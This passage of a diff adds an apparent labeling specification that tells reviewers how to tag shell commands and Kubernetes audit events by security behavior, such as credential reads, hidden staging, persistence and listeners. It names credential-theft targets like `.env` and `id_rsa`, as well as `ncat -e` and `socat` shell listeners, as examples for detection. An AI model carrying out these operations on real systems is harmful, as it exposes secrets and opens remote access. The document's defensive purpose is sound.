+ | Nested executed command | Yes | A command visibly executed now by `ssh`, `kubectl exec`, `docker exec`, `chroot`, equivalent remote/workload exec, or explicit shell execution. |
94
+ | Reference operand | Usually no | A file passed as config/defaults/properties/input for a different primary operation is not a read of that file's semantic content. |
95
+ | Output path | No by itself | A destination path can classify a write, but it does not prove a read or future execution. |
96
+ | Quoted text / search pattern | No by itself | Text matched, searched for, printed, written, or stored is not executed now and does not become a behavior solely because it appears as text. |
97
+ | Persisted payload | Only the current write/mutation | Cron, systemd, shell startup, Dockerfile, CI, package hook, or config content is future behavior unless this command also executes it now. |
98
+ | Path/content identifier | Only with operation evidence | Strong filenames, directory names, extensions, and option roles can classify the object of a visible read, write, search, mutate, transfer, or execute operation. They do not create an operation by themselves. |
99
+ | Tool name | No by itself | A binary name does not prove the operation; reviewers MUST inspect flags and operands. |
100
+
101
+ ## Decision Procedure
102
+
103
+ For each row, reviewers MUST apply this order:
104
+
105
+ 1. Parse the command into currently executed stages: separators, pipelines,
106
+ command substitutions, process substitutions, remote commands, container or
107
+ workload exec, chroot, and explicit shell `-c` boundaries.
108
+ 2. Discard non-executed text: search patterns, printed strings, heredoc bodies
109
+ when merely written, filenames, comments, serialized payload values, and
110
+ future unit/cron/hook/config content.
111
+ 3. Identify each stage's primary operation: read, enumerate, search, write,
112
+ mutate, execute, connect, probe, transfer, dump, import, backup, compress,
113
+ archive, schedule, or comparable visible behavior.
114
+ 4. Select the most specific complete behavior tag for each independently visible
115
+ operation.
116
+ 5. Add multiple tags only when the command line exposes multiple independent
117
+ operations.
118
+ 6. Suppress generic parents when a specific child tag fully covers the behavior.
119
+ 7. If no complete behavior is visible, emit `[]`.
120
+ 8. If the row is ambiguous and no RFC principle decides it, preserve the
121
+ existing row during review and propose an RFC update first.
122
+
123
+ ## Tagging Principles
124
+
125
+ ### RFC-P1: Visible Operation
126
+
127
+ A tag MUST be based on visible current operation evidence, not on tool names,
128
+ reviewer expectation, or what the command might do after execution. Path
129
+ keywords, search strings, archive names, and other content identifiers do not
130
+ create behavior by themselves, but under RFC-P5 they can classify the object of
131
+ a visible read, search, write, archive, transfer, mutation, or enumeration.
132
+
133
+ ### RFC-P2: Current Execution Boundary
134
+
135
+ Only behavior executed by the current command line is taggable as current
136
+ execution. Quoted commands, serialized payloads, search strings, cron entries,
137
+ unit files, package scripts, CI configs, Dockerfiles, and other persisted content
138
+ MUST NOT receive execution tags unless this command line also executes that
139
+ content now.
140
+
141
+ For explicit shell `-c` forms, only the command string operand is parsed as
142
+ current shell code. Later operands are shell positional parameters and MUST NOT
143
+ be treated as executed commands by themselves.
144
+
145
+ ### RFC-P3: Independent Operation Composition
146
+
147
+ Multiple tags MUST correspond to independently visible operations. Shell syntax,
148
+ redirection, pipelines, wrappers, option parsing side effects, and destination
149
+ paths do not create additional behavior tags by themselves.
150
+
151
+ Rev20 has no generic file create/write/delete/copy/move behavior labels. File
152
+ operations MUST be represented only when the visible target has a retained
153
+ security semantic: content class, persistence entry point, permission/capability
154
+ change, critical path, hidden or temporary staging path, special filesystem node,
155
+ transfer direction, archive/compression operation, or domain-specific mutation.
156
+ Do not add a file-path behavior merely because another operation saves its
157
+ report, scan result, query result, rendered view, dump, or log output to a path
158
+ via `>`, `tee`, `-o`, `--output`, or a tool-specific output option. In those
159
+ cases, keep the primary semantic tag, such as scanning, probing, querying,
160
+ dumping, rendering, testing, or auditing.
161
+
162
+ ### RFC-P4: Specificity
163
+
164
+ When a specific tag completely covers the visible behavior, reviewers MUST NOT
165
+ also add a generic parent tag. Generic tags are used only when no more specific
166
+ complete tag applies.
167
+
168
+ ### RFC-P5: Source And Content Semantics
169
+
170
+ Read, search, log, credential, secret, and config tags MUST follow the visible
171
+ source, objective, and content class. Reviewers MUST judge the operator's
172
+ visible objective like a human reviewer: if a command actively searches for,
173
+ filters for, writes to, transfers, archives, extracts, or enumerates objects
174
+ identified by a strong content marker, that marker classifies the visible
175
+ operation even when no file content is displayed and even if the target file
176
+ would later be empty or nonexistent.
177
+
178
+ This is an intent-and-operation standard, not a literal byte-observation
179
+ standard. A reviewer SHOULD ask what a competent operator is visibly trying to
180
+ do from the command line. For example, `find / -name "*.conf"` is a search for
181
+ configuration files, `cat mysql.conf` is a configuration read, and an archive
182
+ named like a credential or database backup classifies that archive or transfer
183
+ operation. Do not refuse the semantic tag merely because the command output is
184
+ not shown in the corpus row.
185
+
186
+ Strong content identifiers include conventional config names and patterns such
187
+ as `*.conf`, `*.cnf`, `my.cnf`, `mysql.conf`, `mysqld.cnf`, `nginx.conf`,
188
+ `sshd_config`, and `kubeconfig`; credential names and patterns such as `.env`,
189
+ `id_rsa`, `authorized_keys`, `credentials`, `secret`, `token`, `keytab`, and
190
+ `private.key`; and log names such as `auth.log`, `audit.log`, and `syslog`.
191
+ Reviewers SHOULD use the strongest specific tag supported by the visible
192
+ operation and content identifier. Ambiguous or misspelled names MAY be used when
193
+ surrounding context makes the class clear, but MUST NOT override a more direct
194
+ tool operation.
195
+ Socket paths are service connection targets rather than configuration files.
196
+ Cloud or managed-platform instance-data files are cloud metadata. Package
197
+ manifests, lockfiles, and requirements files under repositories or dependency
198
+ trees are source/package content, not infrastructure configuration.
199
+ Compiled application artifacts such as `.jar`, `.war`, or release binaries are
200
+ not source-code reads by filename alone; content rendering or filtering of those
201
+ artifacts gets `read_source_code` only when source, manifest, or repository
202
+ content is otherwise visible.
203
+
204
+ Environment files are a strict sensitive-content boundary. Paths named `.env`,
205
+ `*.env`, `*.env.*`, `process.env`, or comparable private environment dumps are
206
+ credential/sensitive material by default when their file content is visibly
207
+ read, searched, copied, archived, uploaded, downloaded, or otherwise
208
+ transferred. This default reflects normal Linux and application practice:
209
+ environment files commonly carry tokens, API keys, passwords, database URLs,
210
+ cloud credentials, and service secrets.
211
+
212
+ Reviewers MUST NOT downgrade visible environment-file content access to ordinary
213
+ business or infrastructure configuration merely because environment files can
214
+ also contain non-secret settings. Commands such as `cat .env`, `head .env`,
215
+ `grep ... .env`, `strings process.env`, `cp .env ...`, `tar ... .env`, or a
216
+ remote command visibly reading `.env` MUST include the applicable credential or
217
+ sensitive-content tag. A config tag may coexist only when the file's operational
218
+ configuration role is also materially visible; it MUST NOT replace
219
+ `read_credential_material`, `search_credentials`, `archive_sensitive_content`,
220
+ `upload_credential_material`, or `upload_sensitive_content`.
221
+
222
+ Narrow exceptions require positive evidence that the object is not secret
223
+ material, such as `.env.example`, committed defaults, documentation fixtures, or
224
+ a command that only writes a literal template without reading an existing
225
+ environment file. These exceptions should use ordinary config or source tags
226
+ only when their visible operation and target class support them; otherwise they
227
+ get no file-write fallback tag.
228
+
229
+ Ordinary service configuration files such as `my.cnf`, `mysql.conf`, and
230
+ `nginx.conf` remain configuration reads. Strongly credential-bearing config
231
+ files such as database client credential files, JAAS files, ACL files, and real
232
+ application DB connection configs add credential-material reads. Template,
233
+ example, and `.dist` config files do not add credential tags solely from the
234
+ filename.
235
+
236
+ Live environment-variable enumeration follows the same visible-objective
237
+ standard. Commands that print or filter live environment values use
238
+ `read_environment_variables`; filters or named variables such as `TOKEN`,
239
+ `SECRET`, `PASSWORD`, `API_KEY`, `PGPASSWORD`, `DATABASE_URL`, or `AWS_*` also
240
+ use the applicable credential-search, credential-material, or cloud-credential
241
+ tag. `env -u NAME command` only changes the child process environment and does
242
+ not read that variable's value.
243
+
244
+ Deleting visible credential material is a credential operation, not a generic
245
+ filesystem deletion. Removing targets such as `.env`, `id_rsa`,
246
+ `authorized_keys`, `credentials`, `secret`, `token`, `keytab`, `/etc/shadow`, or
247
+ credential bundles MUST use `delete_credential_material`. Removing unrelated
248
+ ordinary helper artifacts does not require an additional tag unless a more
249
+ specific retained semantic tag applies.
250
+
251
+ Copying or moving visible credential material MUST retain the source object's
252
+ credential/sensitive-content semantics when the vocabulary has a suitable tag.
253
+ Do not add any extra tag merely for local path movement.
254
+ Private-key paths such as `id_rsa`, `id_ed25519`, and `private.key` are
255
+ credential material when content is read, searched, transferred, or deleted.
256
+ Metadata-only actions such as `ls`, `stat`, `file`, `chmod`, `touch`, or
257
+ `chown` on those paths remain metadata or permission actions.
258
+ Special permission and file-attribute operations are classified by the metadata
259
+ being changed, not by target content. SUID/SGID bit setting, file capabilities,
260
+ ACL changes, and immutable or append-only `chattr` flags do not imply a content
261
+ read solely because the target path names credentials, logs, source code, or
262
+ configuration. Removing a SUID/SGID bit is generic permission modification unless
263
+ the vocabulary has a dedicated removal tag. Capability and immutable-attribute
264
+ removal use the dedicated removal tags. `search_world_writable_files` requires
265
+ world-writable predicates such as `-perm -0002`; generic `-writable` searches
266
+ only prove writability for the current effective user and should use
267
+ `enumerate_filesystem` when the command visibly enumerates matching paths.
268
+
269
+ Deleting live configuration files or repository-managed configuration files is
270
+ configuration or repository mutation. Deleting temporary config copies,
271
+ snapshots, generated bundles, or archive artifacts gets no extra label unless
272
+ another strong semantic class, such as credential material or logs, applies.
273
+
274
+ Positive search patterns and filters are first-class evidence for the search
275
+ objective only when rev20 has a retained tag for that objective. Searching for
276
+ credential stores or credential material such as `.ssh` directories, `.env`,
277
+ `id_rsa`, `authorized_keys`, private-key names, token/secret names, SUID or SGID
278
+ predicates, file capabilities, or world-writable predicates MUST receive the
279
+ applicable retained search tag. Content searches for credential markers such as
280
+ `password`, `secret`, `token`, `api_key`, or `keytab` also classify the search
281
+ objective as credential search. This does not imply the matched files were read
282
+ as semantic content unless the command also reads a visible source object.
283
+ Exclusion-only patterns, comments, and text that is merely printed or stored do
284
+ not define the search objective.
285
+ Authentication-log event phrases such as `Failed password`, `Accepted password`,
286
+ `Accepted publickey`, or `Invalid user` describe login outcomes and do not by
287
+ themselves define a credential-search objective when the visible source is an
288
+ auth log or journal. SSH policy field names such as `PasswordAuthentication`,
289
+ `PubkeyAuthentication`, and `PermitRootLogin` describe policy reads, not
290
+ credential-material searches.
291
+ Searching auth or audit logs for a credential-bearing path string, such as
292
+ `/home/user/.ssh/authorized_keys` or `id_ed25519`, reads the log source and does
293
+ not by itself read, discover, or search the referenced SSH key file content.
294
+
295
+ Configuration, log, source-code, and business-data searches have no generic
296
+ search tag in rev20. Filename discovery such as `find /etc -name '*.conf'`,
297
+ `locate '*.log'`, or `find /srv/app -name '*.py'` is filesystem enumeration
298
+ unless the filename also matches a retained sensitive-search class. Content
299
+ filtering such as `grep pattern /etc/app.conf`, `rg TODO /srv/repo`, or
300
+ `awk ... /var/log/auth.log` reads the visible source class and should use the
301
+ corresponding semantic read tag, such as config, source, business data, or log.
302
+
303
+ Rev20 has no generic search fallback label. Search and filter tools such as
304
+ `grep`, `find`, `awk`, `sed`, `rg`, `locate`, YARA, or comparable scanners MUST
305
+ use a retained search tag only when the visible target class has security
306
+ meaning, such as credential material, sensitive files, SUID/SGID files,
307
+ capability files, or world-writable files. Otherwise, use the semantic source
308
+ read tag when the source itself is visible and meaningful, such as logs,
309
+ configuration, source code, or business data. If neither a retained search
310
+ target nor a semantic source is visible, emit no search-related tag.
311
+
312
+ Destination paths and archive/container names classify the visible write,
313
+ archive, extract, transfer, or metadata operation they participate in. Writing
314
+ to a path named like a configuration file is a configuration mutation when the
315
+ write operation is visible. Listing, extracting, creating, uploading, or
316
+ downloading an archive or object named like a credential/config/log bundle
317
+ inherits the sensitive-content class for that archive operation. These names do
318
+ not by themselves prove direct reading of archive members or destination file
319
+ content unless the command also reads or extracts that object.
320
+
321
+ Content comparison, counting, joining, and formatting tools such as `diff`,
322
+ `cmp`, `comm`, `paste`, `join`, `wc`, `col`, and `column` visibly read their
323
+ input content. They MUST use the source's semantic read tag when one is visible;
324
+ they MUST NOT be reduced to `inspect_file_metadata` solely because they do not
325
+ modify files.
326
+
327
+ Path-shape and path-resolution tools such as `basename`, `dirname`, `realpath`,
328
+ and `readlink` inspect path strings or link targets. They use
329
+ `inspect_file_metadata` and MUST NOT inherit semantic content-read tags merely
330
+ from path names.
331
+ Resolving `/proc/<pid>/exe`, `/proc/<pid>/cwd`, `/proc/<pid>/root`, or the same
332
+ links under `/proc/self` is process runtime-attribute inspection, not a semantic
333
+ read of the executable, working directory, or root filesystem content.
334
+
335
+ SSH public authorization and trust material, such as `authorized_keys` and
336
+ `known_hosts`, is SSH policy content when visibly read or transferred. It MUST
337
+ NOT be labeled as credential material solely because it appears under an `.ssh`
338
+ path.
339
+ Counting, comparing, checksumming, or rendering `authorized_keys` reads SSH
340
+ policy content; appending, replacing, or installing its content modifies SSH
341
+ authorization. Metadata, ownership, security-context, or audit-watch changes on
342
+ the file do not modify SSH authorization unless scheduled key content is also
343
+ written or removed.
344
+ The `.ssh` directory itself is a strong sensitive boundary when the command
345
+ visibly lists its contents, searches it, copies it, archives it, uploads it, or
346
+ otherwise transfers it. Use SSH policy, credential, or sensitive-content tags
347
+ according to the visible child paths and operation. Directory-metadata-only
348
+ operations such as `stat ~/.ssh`, `lsattr -d ~/.ssh`, `chown ~/.ssh`, or
349
+ `chmod 700 ~/.ssh` remain metadata or permission actions and do not imply that
350
+ SSH key or policy content was read.
351
+
352
+ ### RFC-P6: State Mutation Semantics
353
+
354
+ Persistent state changes, runtime state changes, scheduled task changes,
355
+ service enablement, verification material changes, permissions, and filesystem
356
+ transforms are distinct behaviors. Reviewers MUST choose the tag that matches
357
+ the visible mutation direction and target state, and MUST NOT infer adjacent
358
+ state changes that are not visible.
359
+
360
+ File-operation labels are security-semantic, not syscall-semantic. Reviewers
361
+ MUST NOT tag ordinary create/write/delete/copy/move mechanics unless the target
362
+ or content has a retained security meaning.
363
+
364
+ Use `write_ransom_note` when visible content or target naming shows a ransom,
365
+ recovery, encryption notice, payment demand, or extortion instruction being
366
+ written or appended. This tag does not require visible file encryption in the
367
+ same command and MUST NOT substitute for `encrypt_data` when encryption is
368
+ actually visible. Ordinary deployment notes, status markers, reports, and
369
+ support logs do not use this tag.
370
+
371
+ Local path deletion follows the deleted object's semantic class, not the
372
+ `rm`/`rmdir`/`unlink` mechanism. Use `delete_credential_material` for credential
373
+ material, `delete_audit_log`/`delete_system_log`/`delete_infrastructure_log`/
374
+ `delete_business_log` for logs, `delete_source_code` for source content,
375
+ `delete_scheduled_task` and `delete_systemd_unit` for concrete persistence
376
+ definitions, database/object-storage/container/cloud delete tags for their
377
+ domains, `modify_*_config` or policy-specific mutation tags for configuration
378
+ and authorization files, `modify_bootloader` for bootloader paths,
379
+ `modify_critical_system_path` for high-trust OS paths with no stronger tag, and
380
+ `wipe_storage` for broad destructive path removal such as root, boot, home, or
381
+ large service trees. Use `securely_delete_data` only for tools that visibly
382
+ overwrite or securely erase the target. Deleting ordinary temporary files,
383
+ reports, caches, packages, build artifacts, staging directories, or unknown
384
+ helper files gets no file-path behavior tag. Do not use temporary/hidden staging
385
+ tags for deletion-only commands.
386
+
387
+ Use `stage_temporary_path` only when the current command visibly writes,
388
+ creates, downloads, copies, extracts, archives, or generates retained content
389
+ into a temporary/user-writable staging location such as `/tmp`, `/var/tmp`,
390
+ `/dev/shm`, `/run/user/*`, or a comparable scratch path. The tag requires an
391
+ actual current write/stage destination. A temporary path that is only read,
392
+ executed, uploaded from, checked, deleted, mentioned in text, used as an input,
393
+ or used as a cookie/header/config operand is not enough.
394
+
395
+ Use `stage_hidden_path` only when the current command visibly writes, creates,
396
+ downloads, copies, extracts, archives, or generates retained content into a
397
+ hidden path component such as `/tmp/.cache`, `/dev/shm/.x`,
398
+ `.config/.hidden`, or a comparable dot-prefixed path. The hidden component must
399
+ be part of the current write/stage destination. A hidden path that is only read,
400
+ executed, uploaded from, checked, deleted, mentioned in future config text, or
401
+ used as an input is not enough.
402
+
403
+ Temporary/hidden staging tags are strict secondary tags. Do not use them for
404
+ ordinary reports, scan results, service-status captures, health-check output,
405
+ test reports, rendered manifests, process snapshots, database/query exports, or
406
+ other domain-specific outputs whose primary behavior is already represented by a
407
+ more specific tag, unless the command is clearly building a retained bundle,
408
+ payload, credential/config capture, or transfer staging artifact. Do not infer
409
+ the tags from future cron/systemd/hook payload text; tag the current file write
410
+ or persistence object only. Do not use them for well-known semantic dot paths
411
+ that have stronger tags, such as `.ssh/authorized_keys`, `.env`, repository
412
+ hooks, shell startup files, or package metadata.
413
+
414
+ Use `modify_critical_system_path` only as a fallback for writes, replacements,
415
+ deletions, or destructive edits under high-trust operating-system paths when no
416
+ more specific tag applies. Examples include `/etc`, `/boot`, `/usr/lib`, `/lib`,
417
+ `/usr/local/lib`, and comparable OS trust or load paths. Prefer stronger tags for
418
+ systemd units, cron/scheduled tasks, sudo/PAM/SSH policy, dynamic loader state,
419
+ library preload, shell startup, bootloader state, trust stores, kernel modules,
420
+ system executables, web scripts, and infrastructure or business configuration.
421
+
422
+ Use `create_special_filesystem_node` for explicit creation of FIFO, device, or
423
+ socket-like filesystem nodes with tools such as `mkfifo`, `mknod`, or equivalent
424
+ node-creation forms. Symlink operations keep `modify_symlink`.
425
+
426
+ Use `modify_repository_hook` for creating, replacing, editing, or deleting
427
+ repository execution hooks such as `.git/hooks/*`, server-side Git hooks, or
428
+ comparable VCS hook paths. Persisted hook payloads are future execution unless
429
+ the command also executes them now.
430
+
431
+ Use `modify_package_execution_hook` for creating, replacing, editing, or deleting
432
+ package-manager or build-system lifecycle hooks such as `package.json` scripts,
433
+ npm/yarn/pnpm lifecycle entries, Python package build hooks, Ruby gem hooks, or
434
+ comparable install/build/test hook definitions. Ordinary dependency version
435
+ changes use dependency tags, not hook tags.
436
+
437
+ Use `write_kernel_module_content` when module content is written, copied,
438
+ downloaded, built, or placed as a `.ko` artifact or under kernel module load
439
+ paths such as `/lib/modules`. Loading or unloading that module remains
440
+ `load_kernel_module` or `unload_kernel_module`.
441
+
442
+ Use `modify_trust_store` for mutations to trust roots or verification stores,
443
+ including system CA bundles, Java `cacerts`, NSS databases, GPG/APT/YUM trust
444
+ keyrings, container registry trust stores, and comparable certificate authority
445
+ or package-verification trust anchors. Standalone certificate/key/signature
446
+ material can remain `modify_verification_material` when it is not a trust store.
447
+ File-integrity baselines and databases, such as AIDE init/update outputs, are
448
+ verification material: initialization or update uses
449
+ `modify_verification_material`, while checks use `verify_artifact_integrity`.
450
+
451
+ ### RFC-P7: Transfer And Query Semantics
452
+
453
+ Transfer tags require visible movement of content. Service health checks,
454
+ metrics queries, metadata reads, API probes, and session opens MUST use their
455
+ specific query/read/session tags rather than generic upload or download tags.
456
+ Upload/download direction and uploaded/downloaded content class MAY both be
457
+ tagged when both are visible.
458
+
459
+ Rev20 has no generic remote-service query label. HTTP, RPC, CLI, or API requests
460
+ MUST be classified by the concrete visible operation: probe, health query,
461
+ metrics read, content download, upload, mail operation, database/cache/object
462
+ storage query, cloud-control-plane read or mutation, workload or infrastructure
463
+ inspection, or another retained domain tag. Opaque remote/API reads with no
464
+ visible retained security target MUST NOT receive a placeholder query tag.
465
+
466
+ For HTTP clients, method and flags decide direction before URL shape. GET-style
467
+ requests that retrieve response bodies are downloads or domain reads when a
468
+ more specific domain tag applies. HEAD/spider forms are probes. Requests with
469
+ visible request bodies or mutating methods such as POST, PUT, PATCH, or DELETE
470
+ MUST NOT be labeled as downloads solely because the URL names a file.
471
+
472
+ ### RFC-P8: Boundary Execution
473
+
474
+ Remote, container, workload, chroot, and multiplexer boundaries MUST be tagged
475
+ according to what the boundary actually does now. A boundary tag may coexist with
476
+ the nested behavior when the nested command is executed now. Sending input to a
477
+ multiplexer is not the same as directly executing that input in the current
478
+ command line.
479
+ Creating a multiplexer session, window, or pane with a command starts that
480
+ command now, so visible nested behavior may be added; attaching or sending keys
481
+ only changes or targets the multiplexer state unless execution is otherwise
482
+ visible in the same command line.
483
+
484
+ Listener command handlers such as `ncat -e ... -l` and `socat
485
+ TCP-LISTEN:... SYSTEM:...` or `UNIX-LISTEN:... SYSTEM:...` register future
486
+ per-connection behavior. Unless the same command line visibly triggers the
487
+ connection and handler execution now, reviewers MUST tag the listener, not the
488
+ handler's future side effects.
489
+ Proxy helpers that start an active proxy service are dynamic-proxy creation and
490
+ may also be network listeners; direct one-shot forwarding wrappers such as SSH
491
+ `ProxyCommand='ssh -W ...'` are connection behavior, not proxy creation. When an
492
+ active proxy is started with an explicit private-key path, the command also
493
+ reads credential material.
494
+
495
+ Privilege wrappers such as `sudo`, `doas`, and `pkexec` are execution wrappers,
496
+ not retained behavior tags. When they visibly run a command now, tag the nested
497
+ command's visible behavior and any concrete identity change, but do not add a
498
+ generic privilege-wrapper tag.
499
+
500
+ ### RFC-P9: Domain-Specific Primary Operation
501
+
502
+ When a domain-specific operation is visible, such as object-storage transfer,
503
+ database dump/import, cloud credential read, cluster secret read, or package
504
+ verification material mutation, reviewers SHOULD use the domain-specific tag
505
+ instead of a less-specific file-path, HTTP, or process tag.
506
+
507
+ Process listing, tree, and search tools such as `ps`, `pstree`, `pgrep`, and
508
+ unfiltered or user-filtered `top`/`htop` MUST use `enumerate_processes`.
509
+ `top`/`htop` views pinned to explicit process IDs SHOULD use
510
+ `inspect_process_runtime_attributes`.
511
+
512
+ Open-file ownership tools such as `lsof` and `fuser` enumerate file, process,
513
+ or socket usage. Path operands to these tools MUST NOT be treated as semantic
514
+ content reads. `fuser -k` is process termination; signal `0` forms are
515
+ existence checks, not termination.
516
+
517
+ Account identity, access state, and authentication policy are separate. User
518
+ names, UIDs, home directories, and login shells are identity attributes. Account
519
+ lock/unlock/expiry state is user access state. Password aging/status policy read
520
+ by tools such as `chage -l` or `passwd -S` is authentication policy.
521
+ PAM file edits and authselect or pam-auth-update feature changes are PAM policy
522
+ modification. Local identity/auth cache cleanup such as `sss_cache -E` is cache
523
+ flush behavior, not authentication policy modification. Kubernetes and
524
+ OpenShift RBAC reconciliation or role grants use cluster auth-policy or cluster
525
+ privilege tags rather than local auth-policy tags.
526
+ When identity or auth data is queried through an explicit remote directory or
527
+ identity protocol such as LDAP, keep the identity/auth tag and also add the
528
+ matching connection-boundary tag. This companion rule is narrow: do not add a
529
+ generic connection tag to every database, broker, cache, cloud, or workload
530
+ domain operation solely because a remote endpoint is present. Self-principal
531
+ lookups such as `ldapwhoami` or `az account show` are current-identity
532
+ inspection, not generic identity enumeration. Reads of `sudo` group membership
533
+ or LDAP `sudoRole` objects add `read_sudo_policy` alongside identity tags.
534
+
535
+ Scheduled task tags are distinct by operation. Listing scheduled task names or
536
+ timer sets is enumeration. Reading concrete crontab, timer, or scheduled-task
537
+ unit content is `read_scheduled_task`. Explicitly running a scheduler entry,
538
+ timer, or scheduled-task script is `execute_scheduled_task`. Creating, editing,
539
+ replacing, removing, enabling, or disabling scheduled execution uses the
540
+ create/modify/delete scheduled-task tags according to the visible operation.
541
+ `crontab -l` reads concrete crontab content. `crontab FILE` and `crontab -`
542
+ install or replace scheduled execution; tag the schedule mutation, not the
543
+ future payload's behavior unless that payload is also executed now. Directory
544
+ listings of cron paths, `run-parts --list`/`--test`, and `systemctl list-timers`
545
+ enumerate scheduled tasks unless they also read task file contents.
546
+ Creating, replacing, editing, truncating, or removing concrete files under
547
+ cron task locations is scheduled-task management; metadata-only changes such as
548
+ chmod, chown, touch, mkdir, or rmdir stay permission, metadata, staging, or
549
+ critical-path behavior only when a retained specific tag applies.
550
+ `run-parts /etc/cron.*`, direct execution of files under concrete cron task
551
+ locations, and `systemctl start` or `restart` of `.timer` units are scheduled
552
+ task execution. Systemd `.timer` unit-file creation, replacement, editing,
553
+ deletion, masking, unmasking, enabling, disabling, or stopping is scheduled-task
554
+ management in addition to any systemd unit or service-state tag. Timer status,
555
+ show, and journal reads remain service inspection or log reads unless they read
556
+ timer unit content.
557
+ For non-timer systemd services, creating, replacing, editing, truncating, or
558
+ deleting concrete unit/drop-in content uses systemd-unit tags. `daemon-reload`
559
+ reloads manager state but is not itself unit content creation or editing.
560
+ `enable`, `disable`, `mask`, and `unmask` are service enablement operations;
561
+ `start`, `stop`, `restart`, and `try-restart` are service-state operations.
562
+ Service health, readiness, liveness, registration-probe, and status-notify
563
+ commands are not service-state modification unless they also start, stop,
564
+ restart, reload, enable, disable, mask, or unmask the service.
565
+ Starting, reloading, or controlling an infrastructure daemon with an explicit
566
+ config-file or config-directory operand also reads infrastructure configuration.
567
+ Commands that create or edit the config and then reload the service keep the
568
+ configuration mutation tag; do not add a separate config-read tag solely because
569
+ the service reloads after the write.
570
+ Kubernetes CronJob and external scheduler lifecycle commands follow the same
571
+ scheduled-task operation split: create, patch/update, delete, read/list, and
572
+ run/trigger map to scheduled-task creation, modification, deletion, read or
573
+ enumeration, and execution.
574
+
575
+ Local Kubernetes cluster lifecycle tags are separate from workload and cloud
576
+ resource tags. Creating or starting local minikube, kind, k3d, or kubeadm-based
577
+ clusters is `create_local_kubernetes_cluster`; checking local cluster status or
578
+ listing local clusters is `inspect_local_kubernetes_cluster`; deleting or
579
+ resetting those local clusters is `delete_local_kubernetes_cluster`. Loading or
580
+ importing images into a local cluster remains `transfer_container_image`;
581
+ commands routed through a local cluster wrapper to `kubectl` follow the visible
582
+ `kubectl` operation. Local cluster lifecycle commands with explicit config-file
583
+ operands also read infrastructure config; kubeconfig export helpers are
584
+ `export_cluster_config`, not local cluster inspection. Kubeadm phase-only
585
+ commands follow the named phase rather than inheriting full cluster creation;
586
+ for example token creation creates an access token, token listing reads cluster
587
+ secret data, and certificate upload modifies cluster secret material.
588
+ Kubernetes context helpers such as `kubectx` and `kubens` read or modify local
589
+ kubeconfig context state, not cloud CLI state or cluster authorization policy.
590
+ Direct content reads or content scans of kubeconfig files, including
591
+ `admin.conf`, read credential material because those files commonly contain
592
+ cluster access credentials. Passing a kubeconfig only as an authentication
593
+ operand to another visible Kubernetes operation does not add a separate
594
+ credential-read tag.
595
+ Kubernetes node join commands such as `kubeadm join` create cluster identity
596
+ state; their API-server endpoint is not the primary tag when the join operation
597
+ is visible. Workload shell helpers such as `oc rsh` are workload execution, and
598
+ interactive shells add `spawn_interactive_shell`.
599
+ Kubernetes NetworkPolicy reads, diffs, and mutations are firewall-policy
600
+ inspection or modification, not cloud-provider firewall changes.
601
+ Kubernetes `get` and `list` operations over live cluster objects enumerate
602
+ cluster resources, even when the object contains configuration-like YAML.
603
+ `describe`, rollout status, and detailed live workload views inspect workload
604
+ state. They are not local infrastructure-configuration reads solely because the
605
+ output can be rendered as YAML or JSON.
606
+
607
+ Kubernetes AuditLog rows use normalized event strings, not raw audit JSON:
608
+
609
+ ```text
610
+ k8s_audit verb=<verb> apiGroup=<group> resource=<resource> subresource=<subresource> namespace=<namespace> name=<name> user=<user> userAgent=<agent> requestURI=<uri> requestObject=<summary>
611
+ ```
612
+
613
+ The behavior label describes the visible Kubernetes API operation. Caller
614
+ identity, user agent, source IP, response status, authorization result, and
615
+ attack likelihood do not create tags by themselves. A failed or denied event
616
+ keeps the attempted visible behavior tag when the operation is visible.
617
+ `get`, `list`, and `watch` on ordinary live objects use
618
+ `enumerate_cluster_resources`; named or collection reads of workload status,
619
+ rollout, scale/status, pod status, and comparable detailed workload state use
620
+ `inspect_workload` when the normalized event establishes a status or detailed
621
+ workload inspection. `create`, `update`, `patch`, `delete`, and
622
+ `deletecollection` on ordinary live objects such as Pods, Deployments,
623
+ DaemonSets, StatefulSets, Jobs, Nodes, Namespaces, ConfigMaps, Leases, PVCs,
624
+ PVs, ResourceQuotas, LimitRanges, PodDisruptionBudgets, PriorityClasses,
625
+ RuntimeClasses, StorageClasses, CSIDrivers, CSINodes, VolumeAttachments,
626
+ VolumeSnapshots, VolumeSnapshotClasses, CustomResourceDefinitions, and
627
+ APIServices use `modify_workload` unless a more specific auth, secret,
628
+ firewall, route, scheduled-task, backup, or verification-material rule applies.
629
+ `pods/eviction` create and `pods/binding` create are workload modification.
630
+
631
+ Kubernetes AuditLog secret, credential, and workload-execution rules are
632
+ specific. Secret collection reads use `enumerate_cluster_secrets`; named Secret
633
+ reads use `read_cluster_secret`; Secret create, update/patch, delete, and
634
+ deletecollection use `create_cluster_secret`, `modify_cluster_secret`,
635
+ `delete_cluster_secret`, and `delete_cluster_secret` respectively. Service
636
+ Account token subresource creates use `create_access_token`; ServiceAccount
637
+ object reads enumerate cluster resources, and ServiceAccount object mutations
638
+ are workload modification. SubjectAccessReview, SelfSubjectAccessReview,
639
+ LocalSubjectAccessReview, SelfSubjectRulesReview, and TokenReview create events
640
+ use `verify_auth_policy`. `pods/exec` and comparable command subresources use
641
+ `execute_in_workload`; if the normalized request includes the inner command,
642
+ the visible Linux command behavior tags are also required. Visible shell opens
643
+ such as `/bin/sh`, `/bin/bash`, `cmd.exe`, or PowerShell add
644
+ `spawn_interactive_shell`. Examples: `command=id` adds
645
+ `inspect_current_identity`, `command=printenv` adds
646
+ `read_environment_variables`, `command=curl ... /healthz` adds
647
+ `query_service_health`, and reading the service-account token path adds
648
+ `read_container_secret` and `read_credential_material`. `pods/attach` uses
649
+ `execute_in_workload`, and adds `spawn_interactive_shell` only when the event
650
+ opens an interactive terminal or visibly attaches to a shell. `pods/log` uses
651
+ `read_workload_logs`; `pods/portforward` uses `port_forward_workload`.
652
+ `pods/ephemeralcontainers` reads inspect workload state; patch/update events
653
+ that add ephemeral containers modify workload state, even when the debug
654
+ container command is a shell.
655
+
656
+ Kubernetes AuditLog policy, route, scheduler, and controller objects use the
657
+ same semantic families as command-line Kubernetes operations. Service, Ingress,
658
+ Endpoint, EndpointSlice, Gateway, HTTPRoute, Route, VirtualService,
659
+ DestinationRule, and comparable routing or exposure mutations use
660
+ `modify_route`; reads of those objects enumerate or inspect live cluster state.
661
+ NetworkPolicy, CiliumNetworkPolicy, and comparable Kubernetes network-policy
662
+ reads use `inspect_firewall_policy`; their mutations use
663
+ `modify_firewall_policy`. Role, ClusterRole, RoleBinding, ClusterRoleBinding,
664
+ PodSecurityPolicy, admission webhooks, ValidatingAdmissionPolicy,
665
